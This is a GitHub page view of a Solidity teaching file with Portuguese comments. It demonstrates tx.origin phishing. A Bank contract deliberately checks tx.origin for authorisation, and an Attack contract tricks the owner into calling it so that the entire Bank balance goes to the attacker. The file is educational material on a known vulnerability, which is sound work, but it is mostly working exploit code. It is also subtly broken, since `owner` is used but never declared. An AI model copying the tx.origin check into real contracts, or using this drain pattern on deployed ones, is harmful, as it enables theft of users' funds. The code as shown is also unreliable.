forked from AmazingAng/WTF-Solidity
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathPhishingWithTxOrigin.sol
37 lines (32 loc) · 1.13 KB
/
PhishingWithTxOrigin.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
contract Bank {
//Registrar o proprietário do contrato
//Ao criar o contrato, atribua um valor à variável owner
constructor() payable {
owner = msg.sender;
}
function transfer(address payable _to, uint _amount) public {
//Verificando a origem da mensagem
require(tx.origin == owner, "Not owner");
//Transferir ETH
(bool sent, ) = _to.call{value: _amount}("");
require(sent, "Failed to send Ether");
}
}
contract Attack {
// Endereço do beneficiário
address payable public hacker;
// Endereço do contrato Bank
Bank bank;
constructor(Bank _bank) {
//Forçar a conversão do tipo _bank de endereço para o tipo Bank
bank = Bank(_bank);
//Atribuir o endereço do beneficiário como o endereço do deployer
hacker = payable(msg.sender);
}
function attack() public {
//Induz o proprietário do contrato Bank a chamar, assim o saldo dentro do contrato Bank é transferido para o endereço do hacker.
bank.transfer(hacker, address(bank).balance);
}
}